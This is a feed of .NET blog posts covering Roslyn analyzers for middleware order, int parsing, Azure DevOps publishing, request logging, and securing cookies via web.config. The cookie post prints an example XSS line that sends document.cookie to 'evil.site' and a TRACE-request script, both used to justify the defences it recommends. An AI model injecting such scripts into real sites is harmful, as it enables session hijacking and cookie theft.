DEV Community: Thomas Ardal

ASP.NET Core middleware with Roslyn Analyzers - Part 2

Thomas Ardal — Wed, 22 Sep 2021 06:53:27 +0000

This is the second post in the series about Roslyn analyzers with ASP.NET Core middleware. If you haven't read part 1 already, go ahead a do that for a general introduction. In this post, I'll continue the example from the first post and start looking at the order middleware are added.

Setting up middleware often isn't enough for everything to work properly. The order in which different middleware components are added is important for almost all features in ASP.NET Core. As mentioned in the previous post, middleware works like pearls on a string. The order you add your middleware determines which middleware is called first and which is called last. If you add exception handling middleware too soon or too late, important errors in the pipeline, are never picked up and handled.

Let's create a new analyzer that validates the right placement of a middleware component. Again, I'm using the elmah.io middleware, but that's because I already wrote the code for that. You can implement this for any middleware.

The code will go into a new analyzer, why I create a new file named UseElmahIoOrderAnalyzer.cs. The overall structure looks similar to the analyzer from the previous post:

[DiagnosticAnalyzer(LanguageNames.CSharp)]
public class UseElmahIoOrderAnalyzer : DiagnosticAnalyzer
{
    public const string DiagnosticId = "EIO1002";

    private static DiagnosticDescriptor Rule = new DiagnosticDescriptor(
        DiagnosticId,
        "UseElmahIo must be called in the right order",
        "UseElmahIo must be called after {1}",
        "Elmah.Io.CSharp.AspNetCoreRules",
        DiagnosticSeverity.Warning,
        isEnabledByDefault: true);

        public override ImmutableArray<DiagnosticDescriptor> SupportedDiagnostics { get { return ImmutableArray.Create(Rule); } }

        public override void Initialize(AnalysisContext context)
        {
        }
    }

I changed two things: the analyzer id (DiagnosticId) and the text messages inside the DiagnosticDescriptor. Notice how the second message is no longer simply a hard-coded string. Analyzers support formatting too, which we will dig into in a bit.

The analyzer should only run on the method named Configure in classes named Startup. Let's repeat how the first lines from the Initialize method can decide if the analyzer should run or not:

context.RegisterCodeBlockStartAction<SyntaxKind>(cb =>
{
    if (cb.OwningSymbol.Kind != SymbolKind.Method) return;
    var method = (IMethodSymbol)cb.OwningSymbol;
    // We only care about methods named ConfigureServices
    if (method.Name != "Configure") return;
    if (method.ContainingType.Name != "Startup") return;

    // ...
});

With that out of the way, let's start implementing the rule. For the UseElmahIo method, I want to make sure that it is called after any calls to UseDeveloperExceptionPage or UseExceptionHandler. To implement this in the most simple way I can imagine, my analyzer will iterate through the Configure method and remember all calls starting with Use and in the end, verify that the order is correct:

Location useElmahIoLocation = null;
List<string> calls = new List<string>();
cb.RegisterSyntaxNodeAction(ctx =>
{
    var node = ctx.Node as InvocationExpressionSyntax;
    if (node == null) return;
    var expression = node.Expression as MemberAccessExpressionSyntax;
    if (expression == null) return;
    var methodName = expression.Name?.Identifier.ValueText;
    if (string.IsNullOrWhiteSpace(methodName) || !methodName.StartsWith("Use")) return;
    calls.Add(methodName);
    if (methodName.Equals("UseElmahIo")) useElmahIoLocation = expression.GetLocation();
}, SyntaxKind.InvocationExpression);

I register a syntax node action once we are inside the Configure method. If you lost track of where this code should be placed you can relax. The full code is available later in this post 😃 The code stores any method invocations starting with Use. It also saves the location of the UseElmahIo method, which we will use when reporting the warning.

Once we are out of scope of the Configure method, we can inspect the invoked methods:

cb.RegisterCodeBlockEndAction(ctx =>
{
    // EIO1001 will catch this
    if (!calls.Contains("UseElmahIo")) return;

    var index = calls.IndexOf("UseElmahIo");
    var useDeveloperExceptionPageIndex = calls.IndexOf("UseDeveloperExceptionPage");
    var useExceptionHandlerIndex = calls.IndexOf("UseExceptionHandler");

    if (useDeveloperExceptionPageIndex != -1 && index < useDeveloperExceptionPageIndex)
        Report(ctx, useElmahIoLocation, "UseDeveloperExceptionPage");
    else if (useExceptionHandlerIndex != -1 && index < useExceptionHandlerIndex)
        Report(ctx, useElmahIoLocation, "UseExceptionHandler");
});

The Report method should look familiar to what you've already seen, so let's jump in:

private void Report(CodeBlockAnalysisContext context, Location location, string use)
{
    var diag = Diagnostic.Create(Rule, location, use);
    context.ReportDiagnostic(diag);
}

The method reports the warning to Visual Studio. Depending on which method name was sent by the analyzer, the Diagnostic.Create method replaces {0} in the message with the method name provided by the analyzer (UseDeveloperExceptionPage or UseExceptionHandler).

Let's look at the entire Initialize method:

public override void Initialize(AnalysisContext context)
{
    context.RegisterCodeBlockStartAction<SyntaxKind>(cb =>
    {
        // We only care about method bodies.
        if (cb.OwningSymbol.Kind != SymbolKind.Method) return;
        var method = (IMethodSymbol)cb.OwningSymbol;
        // We only care about methods named ConfigureServices
        if (method.Name != "Configure") return;
        if (method.ContainingType.Name != "Startup") return;
        Location useElmahIoLocation = null;

        List<string> calls = new List<string>();

        cb.RegisterSyntaxNodeAction(ctx =>
        {
            var node = ctx.Node as InvocationExpressionSyntax;
            if (node == null) return;
            var expression = node.Expression as MemberAccessExpressionSyntax;
            if (expression == null) return;
            var methodName = expression.Name?.Identifier.ValueText;
            if (string.IsNullOrWhiteSpace(methodName) || !methodName.StartsWith("Use")) return;
            calls.Add(methodName);
            if (methodName.Equals("UseElmahIo")) useElmahIoLocation = expression.GetLocation();
        }, SyntaxKind.InvocationExpression);

        cb.RegisterCodeBlockEndAction(ctx =>
        {
            // EIO1001 will catch this
            if (!calls.Contains("UseElmahIo")) return;

            var index = calls.IndexOf("UseElmahIo");

            var useDeveloperExceptionPageIndex = calls.IndexOf("UseDeveloperExceptionPage");
            var useExceptionHandlerIndex = calls.IndexOf("UseExceptionHandler");
            var useAuthorizationIndex = calls.IndexOf("UseAuthorization");

            if (useDeveloperExceptionPageIndex != -1 && index < useDeveloperExceptionPageIndex)
                Report(ctx, useElmahIoLocation, "UseDeveloperExceptionPage");
            else if (useExceptionHandlerIndex != -1 && index < useExceptionHandlerIndex)
                Report(ctx, useElmahIoLocation, "UseExceptionHandler");
        });
    });
}

To test the analyzer, make sure to set the VSIX project as the startup project and hit F5. This will start an experimental instance of Visual Studio. Create a new ASP.NET Core project or open an existing one and navigate to the Startup class. When adding the UseElmahIo call before UseDeveloperExceptionPage the warning is shown in Visual Studio:

Multiple analyzers can be distributed in the same VSIX and/or NuGet package. Visual Studio automatically picks up all analyzers in installed packages.

That's it! The next step is for you to start experimenting with Roslyn Analyzers for your middleware. The full source code for the elmah.io Roslyn Analyzers for ASP.NET Core can be found here: https://github.com/elmahio/Elmah.Io.AspNetCore.Analyzers

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/asp-net-core-middleware-with-roslyn-analyzers-part-2/

ASP.NET Core middleware with Roslyn Analyzers - Part 1

Thomas Ardal — Wed, 25 Aug 2021 10:41:41 +0000

ASP.NET Core middleware is a clever way to configure features like authentication, routing, and error logging in ASP.NET Core. Adding the different pieces of middleware and in the right order can be quite a nightmare, though. In this post, I'll show you how Roslyn Analyzers can help.

Middleware works like pearls on a string. The order you add your middleware determines which middleware is called first and which is called last. This can cause serious problems, like error logging middleware that is never notified of the errors happening. The problem is already nicely described in Andrew Lock's Inserting middleware between UseRouting() and UseEndpoints() as a library author - Part 1 and Part 2, so make sure to read through those if you have felt the pain in your projects already.

I wanted to create a couple of Roslyn Analyzers to help elmah.io users insert the call to UseElmahIo and in the right place. Analyzers are small pieces of C# code running inside Visual Studio that analyzes the project source code and report any problems to the Visual Studio Error List window.

To create new Roslyn Analyzers, the simplest approach is to base it on the template already available in Visual Studio. Create a new project and select the Analyzer with Code Fix (.NET Standard) template (install the .NET Compiler Platform SDK from the Visual Studio Installer if not already installed). This generates a new project with a MakeConst analyzer and code fix. You can delete the two C# files since we will create new ones for this demo.

Let's start by creating an analyzer that verifies that the UseElmahIo method is even added to the Configure method in the Startup.cs file. I'm creating a new C# class named CallUseElmahIoAnalyzer.cs. I've pretty much copied the basic structure from the MakeConst analyzer previously there:

[DiagnosticAnalyzer(LanguageNames.CSharp)]
public class CallUseElmahIoAnalyzer : DiagnosticAnalyzer
{
    public const string DiagnosticId = "EIO1001";

    private static DiagnosticDescriptor Rule = new DiagnosticDescriptor(
        DiagnosticId,
        "Configure must call UseElmahIo",
        "Configure must call UseElmahIo",
        "Elmah.Io.CSharp.AspNetCoreRules",
        DiagnosticSeverity.Warning,
        isEnabledByDefault: true);

    public override ImmutableArray<DiagnosticDescriptor> SupportedDiagnostics { get { return ImmutableArray.Create(Rule); } }

    public override void Initialize(AnalysisContext context)
    {
    }
}

There are a few things to notice. Analyzers declare and extend the DiagnosticAnalyzer class. This will make Visual Studio pick up your analyzer automatically once installed as a VSIX (Visual Studio extension). Metadata for the analyzer is declared as a DiagnosticDescriptor and includes an id, the message to show to the user, as well as a couple of other things. The Initialize method is where the magic happens.

Analyzers are implemented using a visitor pattern. You register handlers for code pieces you are interested in and Roslyn automatically parses the source code under analysis and provides your code with metadata. The code may look a bit weird and over-engineered at first, but turns out pretty strong once you get acquainted with the model.

For this first analyzer, we want to see if the Configure method calls the UseElmahIo method. For this simple example, we assume that the call should be made inside a method named Configure in a class named Startup:

public override void Initialize(AnalysisContext context)
{
    context.RegisterCodeBlockStartAction<SyntaxKind>(cb =>
    {
        // We only care about method bodies.
        if (cb.OwningSymbol.Kind != SymbolKind.Method) return;
        var method = (IMethodSymbol)cb.OwningSymbol;
        // We only care about methods named ConfigureServices
        if (method.Name != "Configure") return;
        if (method.ContainingType.Name != "Startup") return;
    });
}

The action provided for the RegisterCodeBlocStartAction method is called by Roslyn every time a new code block begins. A code block can be a class, a field, a method, etc. By inspecting metadata, the example returns if the current callback doesn't fulfill the requirements already mentioned.

If the code hasn't returned after the last if statement, we know that we are currently inside the Configure method. Roslyn allows for nested syntax actions, why we can register a new callback:

public override void Initialize(AnalysisContext context)
{
    context.RegisterCodeBlockStartAction<SyntaxKind>(cb =>
    {
        // the code from the previous example

        bool useElmahIoInvocationFound = false;

        cb.RegisterSyntaxNodeAction(ctx =>
        {
            var node = ctx.Node as InvocationExpressionSyntax;
            if (node == null) return;
            var expression = node.Expression as MemberAccessExpressionSyntax;
            if (expression == null) return;
            var methodName = expression.Name?.Identifier.ValueText;
            if (methodName == "UseElmahIo") useElmahIoInvocationFound = true;
        }, SyntaxKind.InvocationExpression);
    });
}

The new code registers a syntax node action to get a notification of each invocation expression inside the Configure method (by specifying SyntaxKind.InvocationExpression as a parameter to the RegisterSyntaxNodeAction method). On each syntax node, we check if it's a method call and if the method call is UseElmahIo. In case we find a call to UseElmahIo we set the useElmahIoInvocationFound boolean to true.

The last thing missing is to register an end action. When using the RegisterCodeBlockStartAction method, you need to provide a callback for Roslyn to call when on the end of the semantic analysis for the method analyzed (in this case Configure). Confused? Let's look at the code:

public override void Initialize(AnalysisContext context)
{
    context.RegisterCodeBlockStartAction<SyntaxKind>(cb =>
    {
        // the code from the previous example

        cb.RegisterCodeBlockEndAction(ctx =>
        {
            if (!useElmahIoInvocationFound)
            {
                var diag = Diagnostic.Create(Rule, method.Locations[0]);
                ctx.ReportDiagnostic(diag);
            }
        });
    });
}

In case the useElmahIoInvocationFound boolean is still set to false we use the ReportDiagnostic method to show a warning inside Visual Studio. The metadata used for the warning is taken from the Rule field that we already discussed as well as the location of the Configure method.

Let's look at the entire Initialize method:

public override void Initialize(AnalysisContext context)
{
    context.RegisterCodeBlockStartAction<SyntaxKind>(cb =>
    {
        // We only care about method bodies.
        if (cb.OwningSymbol.Kind != SymbolKind.Method) return;
        var method = (IMethodSymbol)cb.OwningSymbol;
        // We only care about methods named ConfigureServices
        if (method.Name != "Configure") return;
        if (method.ContainingType.Name != "Startup") return;

        bool useElmahIoInvocationFound = false;

        cb.RegisterSyntaxNodeAction(ctx =>
        {
            var node = ctx.Node as InvocationExpressionSyntax;
            if (node == null) return;
            var expression = node.Expression as MemberAccessExpressionSyntax;
            if (expression == null) return;
            var methodName = expression.Name?.Identifier.ValueText;
            if (methodName == "UseElmahIo") useElmahIoInvocationFound = true;
        }, SyntaxKind.InvocationExpression);

        cb.RegisterCodeBlockEndAction(ctx =>
        {
            if (!useElmahIoInvocationFound)
            {
                var diag = Diagnostic.Create(Rule, method.Locations[0]);
                ctx.ReportDiagnostic(diag);
            }
        });
    });
}

To test the new analyzer, make sure to set the VSIX project as the startup project and hit F5. This will start an experimental instance of Visual Studio. Create a new ASP.NET Core project or open an existing one and navigate to the Startup class. If no UseElmahIo call is made, you should see the warning directly in Visual Studio:

To distribute your new analyzer, either upload the generated VSIX file to the Visual Studio Marketplace or publish the project containing the analyzers as a NuGet package.

That's it! In the next post, I will continue the example by creating an analyzer that verifies the correct order of middleware. The full source code for the elmah.io Roslyn Analyzers for ASP.NET Core can be found here: https://github.com/elmahio/Elmah.Io.AspNetCore.Analyzers

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/asp-net-core-middleware-with-roslyn-analyzers-part-1/

C# how to convert a string to int

Thomas Ardal — Wed, 04 Aug 2021 06:07:02 +0000

Time for a new post in my how-to series. In this series, I try to provide updated answers for common .NET/C# questions. I found that when googling common terms like "convert string to int", "write to a file", and similar, I would often get outdated StackOverflow answers, showing how to solve each problem with .NET 2 or even older. Even worse, most examples lack key aspects like exception handling and bad practices. For today's post, I will show you the best ways of converting strings to integers in C#.

You have already tried converting a string to an int. Like parsing input from a text box in a system that didn't have modern model binding as we are used to today or when converting the output from a third-party API. While working for multiple companies both as a permanent and as a freelancer, I've seen a thousand lines of code, converting between data types. The most common pattern I've seen in C# is using the Parse-method:

var i = int.Parse("42");

While Parse provides a nice and simple interface for converting strings to int, it's rarely the right method to use. What happens if you provide something else than a number to the Parse-method:

var i = int.Parse("Oh no");

As expected, the Parse-method throws a FormatException. I cannot count the times I've seen this construct:

string s = "...";
int i = 0;
try
{
    i = int.Parse(s);
}
catch (FormatException)
{
}

Even documentation shows this approach as a valid way to parse ints. So, why is this a poor solution? Using exceptions as a control flow reduces the performance and makes your code harder to read. Luckily, .NET provides a much better way to parse ints without the need to catch exceptions: the TryParse-method:

string s = "...";
if (!int.TryParse(s, out int i))
{
    // Decide what to do since s cannot be parsed as an int
}

// Carry on

TryParse returns a boolean indicating if the parameter (s) was successfully parsed or not. If parsed, the value will go into the out parameter (i). Parsing with a default value on an invalid string is still dead simple:

int i = 0;
int.TryParse(s, out i);
// i is 0 if s could not be parsed as an int

Convert.ToInt32

There's a Convert class in the System namespace that you may be aquainted with. Convert offers a range of methods for converting one data type to another. For converting strings to ints, it's an abstraction on top of the Parse method from the previous section. This means that you will need to catch the FormatException to use the ToInt32-method:

string s = "...";
int i = 0;
try
{
    i = Convert.ToInt32(s);
}
catch (FormatException)
{
}

While it might be nice with a common abstraction for converting data types, I tend not to use the Convert class. Being forced to control flow using exceptions is something I always try to avoid, which (to my knowledge) isn't possible with the Convert class. Besides this, there are some additional things that you will need to be aware of when using the ToInt32-method. Take a look at the following code:

var i = Convert.ToInt32('1');
Console.WriteLine(i);

In the code, I'm converting the char 1 to an integer and writing it to the console. What do you expect the program to produce? The number 1, right? That's not the case, though. The overload of the ToInt32-method accepting a char as a parameter, converts the char to its UTF code, in this case 49. I've seen this go down a couple of times.

To summarize my opinion about the Convert-class in terms of converting strings to integers, stick to the TryParse-method instead.

Exception handling

As long as you use the TryParse-method, there's no need to catch any exceptions. Both the Parse and the ToInt32-method requires you to deal with exceptions:

try
{
    var result = int.Parse(s);
}
catch (ArgumentNullException)
{
    // s is null
}
catch (FormatException)
{
    // s is not a valid int
}
catch (OverflowException)
{
    // s is less than int.MinValue or more than int.MaxValue
}

Parsing complex strings

From my time working with financial systems, I was made aware of an overload of the TryParse-method that I don't see a lot of people using. The overload looks like this:

public static bool TryParse(string s, NumberStyles style, IFormatProvider provider, out Int32 result);

The parameter that I want to introduce you to is NumberStyles enum. The parameter accepts a bitwise combination of flags, allowing for more complex strings to be successfully parsed as integers. It's often much more readable to use this TryParse-overload, rather than doing a range of manipulations on the input string before parsing (like removing thousand separators, whitespaces, currency signs, etc.). Let's look at a couple of examples:

int.TryParse("(42)", System.Globalization.NumberStyles.AllowParentheses, null, out int result);

// result is -42

AllowParantheses will accept parantheses in the input string. But be aware that a parenthesized string is converted to a negative value. This format is often used in accounting and financial systems.

int.TryParse("$42", System.Globalization.NumberStyles.AllowCurrencySymbol, null, out int result);

// Result is 42

AllowCurrencySymbol will accept currency symbols inside the input string.

int.TryParse("42,000", System.Globalization.NumberStyles.AllowThousands, null, out int result);

// Result is 42000

AllowThousands will accept a thousand separator in the input string.

Like any bitwise flag, multiple NumberStyles can be combined:

int.TryParse(
    "($42,000)",
    System.Globalization.NumberStyles.AllowThousands |
    System.Globalization.NumberStyles.AllowParentheses |
    System.Globalization.NumberStyles.AllowCurrencySymbol,
    null,
    out int result);

// Result is -42000

Parsing anti-patterns

When looking at code, I often see different anti-patterns implemented around int parsing. Maybe someone copies code snippets from Stack Overflow or blog posts with unnecessary code, who knows. This section is my attempt to debunk common myths.

Trimming for whitespace

This is probably the most common code example I've seen:

int.TryParse(" 42".Trim(), out int result);

By calling Trim the developer makes sure not to parse a string with whitespaces in the start and/or end. Trimming strings isn't nessecary, though. The TryParse-method automatically trims the input string.

Not using the `TryParse` overload

Another common anti-pattern is to do manual string manipulation to a string before sending it to the TryParse-method. Examples I've seen is to remove thousand separators, currency symbols, etc.:

int.TryParse("42,000".Replace(",", ""), out int result);

Like we've already seen, calling the TryParse-overload with the AllowThousands flag (or one of the others depending in the input string) is a better and more readable solution.

Control flow with exceptions

We already discussed this. But since this is a section of anti-patterns I want to repeat it. Control flow with exceptions slow down your code and make it less readable:

int result;
try
{
    result = int.Parse(s);
}
catch (FormatException)
{
    result = 42;
}

As I already mentioned, using the TryParse-method is a better solution here.

Avoid out parameters

There's a bit of a predicament when using the TryParse-method. Static code analysis tools often advise against using out parameters. I don't disagree there. out parameters allows for returning multiple values from a method which can violate the single responsibility principle. Whether you want to use the TryParse-method probably depends on how strict you want to be concerning the single responsibility principle.

If you want to, you can avoid the out parameter (or at least only use it once) by creating a small extension method:

public static class StringExtensions
{
    public static (int result, bool canParse) TryParse(this string s)
    {
        int res;
        var valid = int.TryParse(s, out res);
        return (result: res, canParse: valid);
    }
}

The method uses the built-in tuple support available in C# 7.

Convert to an array

A question that I often see is the option of parsing a list of integers in a string and converting it to an array or list of integers. With the knowledge already gained from this post, converting a string to an int array can be done easily with a bit of LINQ:

var s = "123";
var array = s
    .Split()
    .Select(s => Convert.ToInt32(s))
    .ToArray();

By splitting without parameters we get an enumerable of individual characters that can be converted to integers.

In most cases you would get a comma-separated list or similar. Parsing and converting that will require some arguments for the Split method:

var s = "1,2,3";
var array = s
    .Split(new[] { ',' }, StringSplitOptions.RemoveEmptyEntries)
    .Select(s => Convert.ToInt32(s))
    .ToArray();

By splitting the string on comma (,) we get the individual characters in between.

When working with external APIs, developers come up with all sorts of weird constructs for representing null or other non-integer values. To make sure that you only parse integers, use the Char.IsNumber helper:

var s = "1,2,null,3";
var array = s
    .ToCharArray()
    .Where(c => Char.IsNumber(c))
    .Select(c => Convert.ToInt32(c.ToString()))
    .ToArray();

By only including characters which are numbers, we filter values like null from the input string.

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/csharp-how-to-convert-a-string-to-int/

Publish a self-contained .NET app on Azure DevOps

Thomas Ardal — Mon, 28 Jun 2021 10:44:07 +0000

I had a problem today that I ended up spending quite some time resolving. We have some internal CLI's that we have been migrating to .NET Core lately. Rather than having to clone the code and build it when needed, I wanted to set up an automated build, producing a self-contained console app on our Azure DevOps server.

When setting up builds on Azure DevOps, I pretty much follow the same pattern over and over again. The first step is usually setting up a dotnet restore task:

Notice the custom feed selected in the Feeds to use section. The reason I'm mentioning this is that it will cause problems in a minute.

Next, I add a dotnet build step:

So far so good. To produce a self-containing output, you can use dotnet publish together with the --runtime option. In my case I want to produce a self-containing program for 64 bit Windows, why the command looks like this:

dotnet publish --runtime win-x64

Adding that command as a build step is easy:

Unfortunately, the build failed on Azure DevOps with the following error:

error NETSDK1047: Assets file '...\obj\project.assets.json' doesn't have a target for '.NETCoreApp,Version=v5.0/win-x64'. Ensure that restore has run and that you have included 'net5.0' in the TargetFrameworks for your project. You may also need to include 'win-x64' in your project's RuntimeIdentifiers.

When looking through my csproj file, the project doesn't include a runtime as proposed by the error message:

<PropertyGroup>
  <OutputType>Exe</OutputType>
  <TargetFramework>net5.0</TargetFramework>
</PropertyGroup>

To fix the error, I simply add a RuntimeIdentifiers element:

<PropertyGroup>
  <OutputType>Exe</OutputType>
  <TargetFramework>net5.0</TargetFramework>
  <RuntimeIdentifiers>win-x64</RuntimeIdentifiers>
</PropertyGroup>

This fixed the build error just to reveal a new error in the dotnet publish step:

C:\Program Files\dotnet\sdk\5.0.301\NuGet.targets(123,5): error : Unable to load the service index for source .../_packaging/Elmah.Io.Shared/nuget/v3/index.json.
C:\Program Files\dotnet\sdk\5.0.301\NuGet.targets(123,5): error : Response status code does not indicate success: 401 (Unauthorized).

Remember the dotnet restore step which pointed out a custom NuGet feed to (also) restore packages from? Unfortunately, neither build or publish has this option, why I need to disable restore on those steps (no need to restore and build multiple times anyway). This can be done by modifying the build step:

dotnet build --runtime win-x64 --no-restore

This tells the build command to build for the win-x64 runtime and don't do NuGet restore. We need the runtime parameter since dotnet publish will no longer restore and build if required. The --no-restore parameter instructs build not to restore NuGet packages.

Similar, I extended the publish command:

dotnet publish --runtime win-x64 --no-build mycli.csproj

By including the --no-build parameter, neither restore or build is executed as part of this step.

The changes produce a nice self-contained .NET 5 console app. The final step is to publish the generated zip-file using a Publish build artifacts step:

When anyone needs the newest build of the CLI, he/she can download it by navigating to the most recent build and clicking the Artifacts button:

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/publish-a-self-contained-net-core-app-on-azure-devops/

ASP.NET Core request logging middleware

Thomas Ardal — Wed, 02 Jun 2021 10:38:47 +0000

I needed to debug an error logged through Microsoft.Extensions.Logging (MEL) on one of our ASP.NET Core-based services today. Usually, when getting errors logged through MEL, all of the HTTP context data is logged as part of the error, making it easy to spot why an error happened or at least making it a lot easier recreating the error. Today's error didn't include much more information than an error message and a request-id.

To help debug what is turning sideways, I created a quick request logging feature in ASP.NET Core. There are multiple posts on the subject already, but while most of them are really good posts, they often cover too much for my simple use case or leave out essential information about how to create the configuration. I simply want a log message for each request, with as little information as possible, but enough for me to be able to correlate the generated error with an HTTP request.

To log a message on every web request, start by creating a new class named RequestLoggingMiddleware:

public class RequestLoggingMiddleware
{
}

Add the following locals:

private readonly RequestDelegate _next;
private readonly ILogger _logger;

I'll explain what these are and what they are used for in a bit. Create a constructor on the class:

public RequestLoggingMiddleware(RequestDelegate next, ILoggerFactory loggerFactory)
{
    _next = next;
    _logger = loggerFactory.CreateLogger<RequestLoggingMiddleware>();
}

I set the RequestDelegate local added in the previous step and create a new MEL ILogger for my middleware class.

Finally, add a new Invoke method:

public async Task Invoke(HttpContext context)
{
    try
    {
        await _next(context);
    }
    finally
    {
        _logger.LogInformation(
            "Request {method} {url} => {statusCode}",
            context.Request?.Method,
            context.Request?.Path.Value,
            context.Response?.StatusCode);
    }
}

This is where the magic happens. The method invokes the next piece of ASP.NET Core middleware and logs an information message with the HTTP method, URL and status code. To avoid repeating myself, check out Error Logging Middleware for a detailed explanation of how ASP.NET Core middleware works.

Here's the source for the entire class:

using Microsoft.AspNetCore.Http;
using Microsoft.Extensions.Logging;
using System.Threading.Tasks;

namespace My.Service.Logging
{
    public class RequestLoggingMiddleware
    {
        private readonly RequestDelegate _next;
        private readonly ILogger _logger;

        public RequestLoggingMiddleware(RequestDelegate next, ILoggerFactory loggerFactory)
        {
            _next = next;
            _logger = loggerFactory.CreateLogger<RequestLoggingMiddleware>();
        }

        public async Task Invoke(HttpContext context)
        {
            try
            {
                await _next(context);
            }
            finally
            {
                _logger.LogInformation(
                    "Request {method} {url} => {statusCode}",
                    context.Request?.Method,
                    context.Request?.Path.Value,
                    context.Response?.StatusCode);
            }
        }
    }
}

The only missing part now is configuring the middleware. You'd normally create an extension method to help, but in this case I'm taking the easy path and call the UseMiddleware method directly in my Startup.cs class:

public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
    ...
    app.UseMiddleware<RequestLoggingMiddleware>();
    ...
}

That's it. Every request now generates a log message in the configured log. In my case, I'm logging to elmah.io. I'm using the Elmah.Io.Extensions.Logging NuGet package to do the actual logging and the Elmah.Io.AspNetCore.ExtensionsLogging package to decorate all log messages with HTTP contextual information.

I normally don't log information messages from production, since ASP.NET Core generates a lot of info messages out of the box. In this example, I want to log all Warning, Error, and Fatal messages, but also the new Information messages generated from the new middleware class. This can be set up by including the following config in appsettings.json:

{
  "Logging": {
    "ElmahIo": {
      "LogLevel": {
        "Default": "Warning",
        "My.Service.Logging": "Information"
      }
    }
  },
  ...
}

Inside the Logging section, I've included an ElmahIo section. If you are using Console or another logger, you will need to replace the section name with the correct one. By including a Default log level and setting the value to Warning, I make sure that only Warning messages and up are logged. For the specific namespace My.Service.Logging I also allow Information messages.

To use the configuration from the Logging section, call the AddConfiguration method as part of your logging initialization in the Program.cs file:

public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
    WebHost.CreateDefaultBuilder(args)
        .UseStartup<Startup>()
        .ConfigureLogging((ctx, logging) =>
        {
            logging.AddConfiguration(ctx.Configuration.GetSection("Logging"));
            ...
        });

Everything is done in less than 30 minutes and ready to go to production. Here's an example of a log message stored in elmah.io:

If you are using another logger, the view will be different but you will be able to see all of the same information.

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/asp-net-core-request-logging-middleware/

The ultimate guide to secure cookies with web.config in .NET

Thomas Ardal — Wed, 05 May 2021 07:24:32 +0000

This is the fourth post in a series about ASP.NET security. Check out Improving security in ASP.NET MVC using custom headers, Content-Security-Policy in ASP.NET MVC, and Storing Content-Security-Policy reports in elmah.io for more security-related posts.

You've already heard about cross-site scripting (XSS), right? XSS is a situation where a hacker can inject malicious scripts into your website. This is not a blog post about XSS, but multiple bad things can happen if anyone succeeds in injecting code into your site. The one I want to present to you today is to take advantage of the cookies used by your site.

The easiest way to understand the problems with XSS and cookies is by example. Most authentication systems for ASP.NET and Core use an authentication cookie for your application to tell the web server the client is successfully signed in. You have probably already seen a cookie named .ASPXAUTH in your browser. This is a cookie returned by Forms Authentication once the user is signed in. The value of the cookie contains an encrypted string that can be used to authenticate the user on subsequent requests. If a hacker somehow gets the value of the .ASPXAUTH cookie, he/she would now be able to hijack that session. Danger Will Robinson!

Mark cookies as `Secure`

So, how do we make sure that no-one but our website gets access to that cookie? The first step is to make sure the website is running HTTPS. Here, I'm not talking about adding HTTPS as an alternative to HTTP. HTTPS exclusively is the only way to roll. By running HTTPS only, no-one can inspect the traffic between the browser and the webserver using a man-in-the-middle attack or something similar. When you switch to HTTPS, you will need to tell it that cookies should be available over HTTPS only. To do so globally, you can include the following in Web.config:

<system.web>
    ...
    <httpCookies requireSSL="true" />
</system.web>

If you are creating cookies manually, you can mark them secure in C# too:

Response.Cookies.Add(
    new HttpCookie("key", "value")
    {
        Secure = true,
    });

That's it! Cookies are now only sent over HTTPS, making it impossible to intercept any cookies accidentally sent over HTTP (you still want to eliminate those calls if any).

Mark cookies as `HttpOnly`

Are we safe yet? Not really since hackers may have had luck injecting code into your website. JavaScript has access to cookies as a default, making it possible to write something like this:

console.log(document.cookie);

Logging cookies into the console probably isn't a problem, but consider someone having luck sneaking in the following script onto your page:

window.location="http://evil.site/store?cookies="+document.cookie;

That's right! All cookies, including the authentication cookie, were just stored by the hacker's website (evil.site was the most hacker-sounding domain I could come up with).

Since a lot of cookies never need to be accessible from JavaScript, there's a simple fix. Marking cookies as HttpOnly. As the name suggests, HTTP only cookies can only be accessed by the server during an HTTP (S!) request. The authentication cookie is only there to be sent back and forth between the client and server and a perfect example of a cookie that should always be marked as HttpOnly.

Here's how to do that in Web.config (extending on the code from before):

<system.web>
    ...
    <httpCookies httpOnlyCookies="true" requireSSL="true" />
</system.web>

The value of the httpOnlyCookies attribute is true in this case. Like in the previous example, HttpOnly can also be set from C# code:

Response.Cookies.Add(
    new HttpCookie("key", "value")
    {
        HttpOnly = true,
        Secure = true,
    });

Here, I've set the HttpOnly property to true.

Avoid TRACE requests (Cross-Site Tracing)

Marking cookies as Secure and HttpOnly isn't always enough. There's a technique called Cross-Site Tracing (XST) where a hacker uses the request methods TRACE or TRACK to bypass cookies marked as HttpOnly. The TRACE method is originally intended to help debugging, by letting the client know how a server sees a request. This debugging info is printed to the response, making it readable from the client.

If a hacker has successfully injected code onto your page, he/she could run the following script:

var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'https://my.domain/', false);
xhr.send(null);
console.log(xhr.responseText);

If the receiving webserver supports TRACE requests, the request including server variables, cookies, etc., is now written to the console. This would reveal the authentication cookie, even if it is marked as Secure and HttpOnly.

Luckily, modern browsers won't let anyone make TRACE requests from JavaScript. You still want to eliminate the possibility, by updating your Web.config accordingly:

<system.webServer>
  <security>
    <requestFiltering>
      <verbs>
        <add verb="TRACE" allowed="false" />
        <add verb="TRACK" allowed="false" />
      </verbs>
    </requestFiltering>
  </security>
</system.webServer>

The verbs element includes a list of HTTP verbs not allowed.

SameSite to avoid cross-site request forgery

